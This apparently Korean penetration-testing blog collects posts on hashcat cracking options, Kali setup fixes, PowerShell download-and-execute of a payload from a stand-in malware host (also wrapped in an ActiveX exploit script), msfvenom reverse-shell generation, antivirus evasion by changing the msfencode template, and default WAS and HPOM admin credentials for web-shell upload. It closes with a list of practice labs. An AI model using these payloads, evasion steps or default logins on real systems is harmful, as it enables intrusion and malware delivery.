Pentesting

hashcat 간단 정리

2019. 2. 21. 13:26


가끔 인젝션으로 해쉬값을 빼낸 후 크랙을 해야 할 경우가 있다. 

(거의 대부분 데이터베이스에 비밀번호는 해쉬값 또는 암호화 해서 넣어놓기 때문에 사실 거의 필수적으로)


john-the-ripper 를 가장 많이 쓰고 또 유명하지만 간혹 점검 환경에 의해 사용하지 못할수도 있기에 hashcat 도 간략히 정리해둔다.






hashcat 기본



hyunmini@~$ hashcat  -h


hashcat - advanced password recovery


Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...


- [ Options ] -


 Options Short / Long           | Type | Description                                          | Example

================================+======+======================================================+=======================

 -m, --hash-type                | Num  | Hash-type, see references below                      | -m 1000

 -a, --attack-mode              | Num  | Attack-mode, see references below                    | -a 3

 -V, --version                  |      | Print version                                        |

 -h, --help                     |      | Print help                                           |

     --quiet                    |      | Suppress output                                      |

     --hex-charset              |      | Assume charset is given in hex                       |

     --hex-salt                 |      | Assume salt is given in hex                          |

                        ...





옵션이 어마어마하게 많기 때문에 가장 중요한 몇가지만 정리해둔다.






-m :   크랙하려는 해시가 어떤 것인지 지정


      # | Name                                             | Category  ======+==================================================+================================

    900 | MD4                                              | Raw Hash

      0 | MD5                                              | Raw Hash

   5100 | Half MD5                                         | Raw Hash

    100 | SHA1                                             | Raw Hash

   1300 | SHA-224                                          | Raw Hash

   1400 | SHA-256                                          | Raw Hash

                         ...






-a : attack mode, brute/dictionay/hybrid 등


- [ Attack Modes ] -


  # | Mode

 ===+======

  0 | Straight

  1 | Combination

  3 | Brute-force

  6 | Hybrid Wordlist + Mask

  7 | Hybrid Mask + Wordlist


3 은 무작위 대입, 6은 워드리스트 + 마스크 요 2개 정도가 많이 사용될 듯 하다.


mask 는 문자열 타입을 지정해주는 기능인데, 아래와 같이 미리 지정된 문자열 셋이 있고, 직접 지정해줄 수도 있다.






Charset (mask 지정시 사용)


- [ Built-in Charsets ] -


  ? | Charset

 ===+=========

  l | abcdefghijklmnopqrstuvwxyz

  u | ABCDEFGHIJKLMNOPQRSTUVWXYZ

  d | 0123456789

  h | 0123456789abcdef

  H | 0123456789ABCDEF

  s |  !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

  a | ?l?u?d?s

  b | 0x00 - 0xff



?l?l?l                 //  소문자로만 이루어진 3개의 글자 - ex: abc, adm, tes,...

?l?l?l?d             //  소문자 3글자, 숫자1글자 - ex: abc0, kkk5,...

?l?l?l?l?l?l?l?s   // 소문자7글자, 특수문자1글자 - ex: testabc!,...

     ...






-D : 크랙 연산에 사용할 processing unit 지정(CPU, GPU)



  # | Device Type

 ===+=============

  1 | CPU

  2 | GPU

  3 | FPGA, DSP, Co-Processor


GPU 있다면 2, CPU 면 1 로 지정. 가끔 디바이스가 없다며 에러가 날 때가 있는데, --force 옵션을 추가로 적어주면 그냥 CPU로 지정되는듯 하다.





이외 유용한 옵션들


--pw-min 6 --pw-max 9    //  크랙 시도 문자 길이 지정


경험상 10자리 이상은 일반 PC에서는 크랙이 어려움. 다만 dictionary + brute 라면 어느정도 크랙 가능, 또는 GPU로 돌리면 10자리 정도도 어느정도 크랙 가능



-i --increment-min=4 --increment-min=8    //  mask 길이값을 변경해가면서 시도함







사용 예시 


# hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a    // bruteforce 6 length


# hashcat -m 0 -a 1 hash.lst dict.txt   // combine(dictionary + straight ?)


# hashcat -m 1400 -a 6 hash.lst dict.txt ?l?l?l?l?l?l?a?a     // hybrid ( dict + brute mask )




이상. 또 필요한 부분이 있으면 정리..


kali 새 버전을 다운로드 했더니 한글도 안보이고 apt-get 도 안된다. 


물론 검색하니 금방 해결... 간단하게 정리






한글 문제 해결


  • 한글 글꼴이 포함되어 있지 않아 발생하는 문제.



 # apt-get install fonts-nanum*    // 나눔고딕 등 한글 폰트 설치



  해결!








apt-get 에러 발생 해결 방법


 

apt-get 명령은 파일들이 저장된 저장소( repo ) 가 필요한데 설치시 기본 설정된 기본 repo 가 자주 죽는다. -_-;; 그냥 외부 미러 사이트로 연결하면 잘 된다.



# vi /etc/apt/sources.list

deb http://mirror.nus.edu.sg/kali/kali kali-rolling main contrib non-free


# apt-get update         // 잘된다.


# apt-get install xxx    // 잘된다.


모의해킹에서의 파워쉘 활용






이름은 거창하지만 두가지만 정리해 둔다. 윈도우7 부터 기본적으로 파워쉘을 지원하므로 상당히 유용하다. 


사실 별로 깊이 공부는 하지 않았지만, 모의해킹 중 APT 시나리오(클라이언트 공격부터 시작..)를 위한 페이로드 작성에 매우 유용하기에 


필요한 부분들만 정리를 했었다.




  • 악성코드 Download&Execution

 $web = New-Object System.Net.WebClient
 $web.DownloadFile("http://www.악성코드.com/hacked.exe","C:\hacked.exe") & 'c:\hacked.exe' 



달랑 두 줄만으로 가능하다. 명령 실행이 가능한 경우 사용이 가능하다.


대표적인 예로는 ActiveX 의 취약한 메소드를 찾아서 임의의 명령을 실행할 수 있을 때가 있다. 아래와 같이 스크립트를 이용해서


악성코드를 실행시킬 수 있다.



  <script>
  cmd = "powershell -command \"&{ 

   $web = New-Object System.Net.WebClient;$web.DownloadFile('http://www.악성코드.com/hacked.exe','./hacked.exe');   // 다운로드

   & ./hacked.exe    // 실행

  }\"";
  vulActiveX.Launcher('/c ' + cmd, '../../../../../../windows/system32/cmd.exe')
  </script> 




  • msfpayload 로 powershell 형식 페이로드 작성하기

  # msfvenom -p windows/shell/reverse_tcp -f psh lhost=10.231.5.115 lport=4444 



여기까지 초간단 정리~!

msfpayload 백신 탐지 우회

2016. 2. 25. 16:42


msfpayload 백신우회



 모의해킹을 하다보면 간혹 백신을 우회해야 하는 경우가 있어서 정리해 둔다. 


  • msfpayload 
- 쉘코드를 쉽게 생성해주는 도구로, metasploit framework 에 포함되어 있(었)다. 

  • msfencode 
- 쉘코드를 인코딩 해주는 도구로, metasploit framework 에 포함되어 있(었)다. 

 최근에 msfpayload 와 msfencode 가 합쳐진 msfvenom 으로 업데이트 되었다.
 (기존에는 세가지 도구가 함께 배포되었는데 현재 버전에서는 msfvenom 만 남았다)

  • msfpayload 백신우회


 shikata_ga_nai 인코더를 여러번 거쳐도 몇몇 백신은 잘 탐지하는데, 몇번의 테스트 결과 metasploit 에서 exe 파일을 생성할 때


 사용하는 템플릿 파일 자체를 탐지하는 것으로 추측된다. 결국 -x 옵션으로 템플릿만 바꿔주면 바로 우회가 가능했다.


 

  # msfpayload windows/meterpreter/reverse_tcp  EXITFUNC=process LPORT=4444 LHOST=10.231.5.1154 R   | 

   msfencode -a x86 -e x86/shikata_ga_nai -c 2 -x ~/Desktop/tem2.exe -t exe -o ~/Desktop/payload2.exe








대부분의 WAS(JBOSS,톰캣 등) 은 관리(deploy, undeploy 등)를 편하게 하기 위한 관리자 페이지를 제공한다.


문제는 일반적으로 설치 계정을 그대로 사용하는 경우가 많다는 것이다. 대략적인 단계는 아래와 같다.


1) 기본 계정을 이용하여 WAS 관리자 페이지 접속


admin/공백

tomcat/tomcat

admin/manager

        ...


2) deploy 메뉴를 이용하여 웹쉘 업로드


3) 서버 쉘 권한 획득


4) local exploit 을 통한 root 획득




* 참고로 아래는 HPOM(HP Operation Manager) 모니터링 솔루션의 기본 계정 취약점이다.

ovwebusr / OvW*busr1 (http://www.security-database.com/detail.php?alert=CVE-2009-4189)

j2deployer / j2deployer (http://packetstormsecurity.com/files/cve/CVE-2009-4188)




1) http://dev.metasploit.com/documents/api/


2) http://dev.metasploit.com/redmine/projects/framework/wiki/DeveloperGuide



모의해킹에서 많이 사용하는 메타스플로잇에 대한 공식 API 문서 및 가이드.


단순한 포팅 뿐 아니라 어느 단계 이상의 개발을 위해선 그 프레임워크를 이해하는 것은 필수다.


항상 그렇듯이 공식 자료부터 살펴보는게 좋다.



공부용 프레임워크 & war game 사이트 입니다. 해봤던 것들도 꽤 있네요 ㅎㅎ


원본 : http://www.felipemartins.info/2011/05/pentesting-vulnerable-study-frameworks-complete-list/



Web Pentesting

Application NameCompany/DeveloperURL
OWASP WebGoatOWASPhttp://www.owasp.org/index.php/OWASP_WebGoat_Project
OWASP VicnumOWASPhttp://www.owasp.org/index.php/Category:OWASP_Vicnum_Project
OWASP InsecureWebAppOWASPhttp://www.owasp.org/index.php/Category:OWASP_Insecure_Web_App_Project
Web Security DOJOMaven SecurityConsultinghttp://www.mavensecurity.com/web_security_dojo/
Gruyere (antigo Codelab / Jalsberg)Googlehttp://google-gruyere.appspot.com/
Hacme GameNTNUhttp://hacmegame.org/
SPI DynamicsSPI Dynamicshttp://zero.webappsecurity.com/
Acunetix 1Acunetixhttp://testphp.vulnweb.com/
Acunetix 2Acunetixhttp://testasp.vulnweb.com/
Acunetix 3Acunetixhttp://testaspnet.vulnweb.com/
PCTechtips ChallengePC Tech Tipshttp://pctechtips.org/hacker-challenge-pwn3d-the-login-form/
Damn VulnerableWeb ApplicationDVWAhttp://dvwa.co.uk/
MutillidaeIron Geekhttp://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10
The ButterflySecurity ProjectThe Butterfly Securityhttp://sourceforge.net/projects/thebutterflytmp/
Hacme CasinoMcAfeehttp://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx
Hacme Bank 2.0McAfeehttp://www.mcafee.com/us/downloads/free-tools/hacme-bank.aspx
Updated HackmeBankMcAfeehttp://www.o2-ounceopen.com/technical-info/2008/12/8/updated-version-of-hacmebank.html
Hacme BooksMcAfeehttp://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx
Hacme TravelMcAfeehttp://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx
Hacme ShippingMcAfeehttp://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx
MothBonsai Sechttp://www.bonsai-sec.com/en/research/moth.php
Stanford SecuriBenchStandfordhttp://suif.stanford.edu/%7Elivshits/securibench/
SecuriBench MicroStandfordhttp://suif.stanford.edu/%7Elivshits/work/securibench-micro/
BadStoreBadStorehttp://www.badstore.net/
WebMaven/Buggy BankMaven Securityhttp://www.mavensecurity.com/webmaven
EnigmaGroupEnigma Grouphttp://enigmagroup.org/
XSS Encoding Skills – x5s (Casaba Watcher)X5Shttp://www.nottrusted.com/x5s/
Exploit- DBExploit DBhttp://www.exploit-db.com/webapps
The Bodgeit StoreThe Bodgeit Storehttp://code.google.com/p/bodgeit/
LampSecurityMadIrishhttp://sourceforge.net/projects/lampsecurity/
hackxorHackxorhttp://hackxor.sourceforge.net/cgi-bin/index.pl
WackoPickoWackoPicko

https://github.com/adamdoupe/WackoPicko

RSnake’s Vulnerability LabRSnakehttp://ha.ckers.org/weird/

 

War Games

Application NameCompany / DeveloperURL
Hell Bound HackersHell Bound Hackershttp://hellboundhackers.org/
Vulnerability AssessmentKevin Orreyhttp://www.vulnerabilityassessment.co.uk/
Smash the StackSmash the Stackhttp://www.smashthestack.org/
Over the WireOver the Wirehttp://www.overthewire.org/wargames/
Hack This SiteHack This Sitehttp://www.hackthissite.org/
Hacking LabHacking Labhttps://www.hacking-lab.com/
We ChallWe Challhttps://www.wechall.net/
REMnuxREMnuxhttp://zeltser.com/remnux/

 

Insecure Distributions

Application NameCompany / DeveloperURL
Damm Vulnerable LinuxDVLhttp://www.damnvulnerablelinux.org/
MetasploitableOffensive Securityhttp://blog.metasploit.com/2010/05/introducing-metasploitable.html
de-ICEHacker Junkiehttp://www.de-ice.net/
MothBonsai Security Softwarehttp://www.bonsai-sec.com/en/research/moth.php
PwnOSNiel Dicksonhttp://www.neildickson.com/os/
HolynixPynstromhttp://pynstrom.net/holynix.php

+ Recent posts